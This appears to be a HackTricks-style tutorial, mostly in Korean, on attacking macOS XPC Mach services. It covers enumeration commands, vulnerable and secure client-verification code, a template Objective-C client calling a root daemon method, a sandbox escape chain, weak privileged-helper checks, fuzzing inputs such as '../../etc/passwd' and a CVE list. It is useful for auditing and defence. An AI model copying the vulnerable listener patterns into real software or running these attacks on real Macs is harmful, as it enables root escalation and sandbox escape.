macOS XPC Mach Services Abuse

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기본 정보

XPC (Cross-Process Communication)는 macOS에서 주요 IPC 메커니즘입니다. 시스템 데몬은 Mach services를 노출합니다 — launchd에 등록된 이름이 지정된 포트 — 다른 프로세스는 NSXPCConnection을 통해 연결할 수 있습니다.

각 LaunchDaemon 및 LaunchAgent plist 중 MachServices 키가 있는 항목은 하나 이상의 이름이 지정된 Mach 포트를 등록합니다. 이는 모든 프로세스가 연결을 시도할 수 있는 시스템 전체의 XPC 엔드포인트입니다.

Warning

XPC Mach services는 macOS에서 가장 큰 단일 로컬 권한 상승 공격 표면입니다. 최근 몇 년의 대부분 로컬 루트 익스플로잇은 취약한 XPC 서비스(특히 LaunchDaemons)를 통해 이루어졌습니다. 루트 데몬에 노출된 모든 메서드는 잠재적 권한 상승 벡터입니다.

아키텍처

Client Process (user context)
↓ NSXPCConnection / xpc_connection_create_mach_service()
↓ Mach message via launchd
Daemon Process (root context)
↓ Receives XPC message
↓ (Should verify client identity / entitlements)
↓ Performs privileged operation

열거

Mach Services를 사용하는 데몬 찾기

# Find all LaunchDaemons with MachServices
find /Library/LaunchDaemons /System/Library/LaunchDaemons -name "*.plist" -exec sh -c '
plutil -p "{}" 2>/dev/null | grep -q "MachServices" && echo "{}"
' \; 2>/dev/null

# List active Mach services
sudo launchctl dumpstate 2>/dev/null | grep -E "name = " | sort -u | head -50

# List all launchd services
launchctl list

# Check a specific daemon's Mach services
plutil -p /Library/LaunchDaemons/com.example.daemon.plist 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged, e.isDaemon
FROM executables e
WHERE e.isDaemon = 1
ORDER BY e.privileged DESC
LIMIT 50;"

XPC 인터페이스 열거

daemon을 식별한 후, 해당 daemon의 XPC 인터페이스를 reverse-engineer 하세요:

# Find the protocol definition in the binary
strings /path/to/daemon | grep -i "protocol\|interface\|xpc\|method"

# Use class-dump to extract ObjC protocol definitions
class-dump /path/to/daemon | grep -A20 "@protocol"

# Check for XPC service bundles inside app bundles
find /Applications -path "*/XPCServices/*.xpc" 2>/dev/null

XPC 클라이언트 검증 취약점

XPC 서비스에서 가장 흔한 취약점 클래스는 insufficient client verification이다. 데몬은 다음을 검증해야 한다:

  1. 연결하는 프로세스의 Code signature
  2. 연결하는 프로세스의 Entitlements
  3. Audit token (PID가 아님, PID는 재사용될 수 있음)

취약 패턴: No Verification

// VULNERABLE — daemon accepts any connection
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES; // No verification!
}

취약한 패턴: PID 기반 검증 (경쟁 상태)

// VULNERABLE — PID can be reused between check and use
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
pid_t pid = newConnection.processIdentifier;
// Attacker can win race: spawn legitimate process → get PID → kill it → exploit process reuses PID
if ([self isAuthorizedPID:pid]) {
[newConnection resume];
return YES;
}
return NO;
}

보안 패턴: Audit Token 검증

// SECURE — Uses audit token which cannot be spoofed
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
audit_token_t token = newConnection.auditToken;

// Verify code signature via audit token
SecCodeRef code = NULL;
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit:
[NSData dataWithBytes:&token length:sizeof(token)]};
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes,
kSecCSDefaultFlags, &code);

// Verify the signature matches expected signing identity
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(
CFSTR("identifier \"com.apple.expected\" and anchor apple"),
kSecCSDefaultFlags, &requirement);

OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, requirement);
if (status == errSecSuccess) {
[newConnection resume];
return YES;
}
return NO;
}

공격: 보호되지 않은 XPC Services에 연결하기

// Minimal XPC client — connect to a LaunchDaemon's Mach service
#import <Foundation/Foundation.h>

@protocol VulnDaemonProtocol
- (void)runCommandAsRoot:(NSString *)command withReply:(void (^)(NSString *))reply;
@end

int main(void) {
@autoreleasepool {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.example.vulndaemon"
options:NSXPCConnectionPrivileged];

conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(VulnDaemonProtocol)];

[conn resume];

id<VulnDaemonProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Connection error: %@", error);
}];

// If the daemon doesn't verify our identity, this works:
[proxy runCommandAsRoot:@"id" withReply:^(NSString *result) {
NSLog(@"Result: %@", result);
// Output: uid=0(root)
}];

[[NSRunLoop currentRunLoop] run];
}
}

공격: XPC Object Deserialization

복잡한 객체(NSSecureCoding을 준수하는)를 수락하는 XPC services는 deserialization attacks에 취약할 수 있습니다:

// If the daemon accepts NSObject subclasses via XPC:
// An attacker can send a crafted object that triggers:
// 1. Type confusion (wrong class instantiated)
// 2. Path traversal (filename objects with ../)
// 3. Format string bugs (string objects as format arguments)
// 4. Integer overflow (large numeric values)

Mach-Lookup Sandbox Exceptions

How Exceptions Enable Sandbox Escape

샌드박스된 애플리케이션은 보통 자신의 XPC 서비스와만 통신할 수 있습니다. 하지만 mach-lookup exceptions는 시스템 전체의 서비스에 접근할 수 있게 합니다:

<!-- Entitlement granting mach-lookup exception -->
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.system.opendirectoryd.api</string>
<string>com.apple.SecurityServer</string>
<string>com.apple.CoreServices.coreservicesd</string>
</array>

광범위한 예외를 가진 애플리케이션 찾기

# Find sandboxed apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
echo "=== $(basename "$1") ==="
echo "$ents" | grep -B1 -A10 "mach-lookup"
}
}
' _ {} \; 2>/dev/null

Sandbox Escape Chain

1. Compromise sandboxed app (e.g., via renderer exploit in browser/email)
2. Enumerate mach-lookup exceptions from entitlements
3. Connect to each reachable system daemon
4. Fuzz the daemon's XPC interface for vulnerabilities
5. Exploit a daemon bug → code execution outside the sandbox
6. Escalate from daemon's privilege level (often root)

특권 헬퍼 도구 (SMJobBless)

동작 방식

SMJobBless는 launchd를 통해 root로 실행되는 특권 헬퍼를 설치합니다. 해당 헬퍼는 XPC를 통해 부모 앱과 통신합니다:

App (user context) ←→ XPC ←→ Helper (root via launchd)

일반적인 취약점: 약한 권한 검증

// Many helpers check authorization but:
// 1. Don't verify WHO is connecting (any process can connect)
// 2. Use rights that any admin can obtain
// 3. Cache authorization decisions

// VULNERABLE helper pattern:
- (void)performPrivilegedAction:(NSString *)action
authorization:(NSData *)authData
withReply:(void (^)(BOOL))reply {
AuthorizationRef auth;
AuthorizationCreateFromExternalForm(
(AuthorizationExternalForm *)authData.bytes, &auth);

// Only checks if caller has generic admin right
// But doesn't verify the caller is the app that installed the helper!
AuthorizationItem item = {kAuthorizationRightExecute, 0, NULL, 0};
AuthorizationRights rights = {1, &item};

if (AuthorizationCopyRights(auth, &rights, NULL,
kAuthorizationFlagDefaults, NULL) == errAuthorizationSuccess) {
// Performs action as root...
reply(YES);
}
}

취약한 헬퍼 악용

# 1. Find installed privileged helpers
ls /Library/PrivilegedHelperTools/

# 2. Find their LaunchDaemon plists
ls /Library/LaunchDaemons/ | grep -v "com.apple"

# 3. Check the helper's XPC interface
class-dump /Library/PrivilegedHelperTools/com.example.helper | grep -A20 "@protocol"

# 4. Check if the parent app properly verifies connections
strings /Library/PrivilegedHelperTools/com.example.helper | grep -i "codesign\|requirement\|anchor\|audit"
# If no code-signing verification strings → likely vulnerable

XPC Fuzzing

# Basic XPC fuzzing approach:

# 1. Identify the target service and protocol
plutil -p /Library/LaunchDaemons/com.example.daemon.plist
class-dump /path/to/daemon

# 2. For each exposed method, test:
#    - NULL arguments
#    - Empty strings
#    - Very long strings (buffer overflow)
#    - Path traversal strings (../../etc/passwd)
#    - Format strings (%n%n%n%n)
#    - Integer boundary values (INT_MAX, -1, 0)
#    - Unexpected object types (send NSDictionary where NSString expected)

# 3. Monitor for crashes
log stream --predicate 'process == "daemon-name" AND (eventMessage CONTAINS "crash" OR eventMessage CONTAINS "fault")'

실제 CVE 사례

CVE설명
CVE-2023-41993XPC 서비스 deserialization 취약점
CVE-2022-22616XPC 서비스 악용을 통한 Gatekeeper bypass
CVE-2021-30657Sysmond XPC privilege escalation
CVE-2020-9839system daemon의 XPC race condition
CVE-2019-8802Privileged helper tool의 client verification 누락
CVE-2023-32369Migraine — systemmigrationd XPC를 통한 SIP bypass
CVE-2022-26712PackageKit XPC root escalation

열거 스크립트

#!/bin/bash
echo "=== XPC Mach Services Security Audit ==="

echo -e "\n[*] Third-party privileged helpers:"
for helper in /Library/PrivilegedHelperTools/*; do
[ -f "$helper" ] || continue
echo "  $helper"
codesign -dvv "$helper" 2>&1 | grep "Authority\|TeamIdentifier" | sed 's/^/    /'
done

echo -e "\n[*] Third-party LaunchDaemons with MachServices:"
for plist in /Library/LaunchDaemons/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo "  $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/    /'
}
done

echo -e "\n[*] User LaunchAgents with MachServices:"
for plist in ~/Library/LaunchAgents/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo "  $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/    /'
}
done

참고 자료

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

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